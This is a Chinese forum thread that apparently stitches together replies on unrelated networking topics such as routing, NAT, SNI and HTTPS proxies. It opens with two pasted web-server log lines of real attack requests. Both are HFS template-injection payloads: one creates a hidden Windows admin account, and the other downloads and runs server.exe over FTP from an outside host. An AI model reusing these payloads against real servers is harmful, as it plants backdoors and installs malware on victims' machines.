shit,怎么不正常，干脆直接贴
10:21:58 222.186.57.27:1682 请求 GET /?search={.save|1.vbs|a=replace("Set*o=CreateObject(""Shell.Users""):Set*z=o.create(""IDC_witkey""):z.changePassword*""zxc123..."","""":z.setting(""AccountType"")=3","*",Chr(32)):Execute(a):CreateObject("Scripting.FileSystemObject").GetFile(WScript.ScriptFullName).Delete.}
10:22:46 222.186.57.27:2013 请求 GET /?search={.save|cmd.vbs|a=replace("set*objShell=wscript.createObject(""wscript.shell""):objShell.Run(""cmd.exe*/c*echo*open*d.lengyue.win*>1.txt*&&*echo*123*>>1.txt*&&*echo*123*>>1.txt*&&*echo*get*server.exe*>>1.txt*&&*echo*bye*>>1.txt*&&*ftp*-s:1.txt*&&*server.exe""):wscript.quit","*",Chr(32)):Execute(a).

@testlc 人工智能识别，我的课题就是做的 deep learning 哈

@seasstyle 感谢你的支持哈，我已经记录了你的 ID 和 IP 了

@alwayshere OVH 的也有黄牛啊

@jimisun 不需要啊

@isCyan 反正不至于卖身就是辣

@est 的确是，反正让客户端能正确处理向 AB 两个服务器发送数据的顺序即可

套路云，绑定看心情

你怕不是机器没法启动吧，是 IP 被 BAN 对不对？

@sunkenice TCP/IP 的路由肯定是固定的，但是两个服务器之间能不能耦合呢？这个问题恐怕很多人还没有想过，我所描述的情况的海外主机不占少数

@lieh222 可以这么说吧，NAT 类似的功能，可以称之为 Network Address Modify ,NAM

@est 手动滑稽，iptables 如果能实现就不用来问了

@LGA1150 防火墙的问题其实好解决，定时 echo 即可

@webjin1 MPLS 能实现这种？就算能实现也不是个人能实现的啊

@also24 其实简单说 就是 1 cf 的节点是否是 https 透明代理，
2 https 数据加密，哪儿能看到域名
就这么多，感觉对 HTTPS 了解太少了，最近得恶补一下相关知识 Orz

@wql 还是有点感觉不太像 SNI 哈哈，只能另外想办法证明一下

@ryd994 MITM 这个问题，假设我用的证书不是这个域名的呢

@Lentin 恐怕没这么简单

@also24 不大可能是 SNI,因为 SNI 可以透传 SSL V 破 N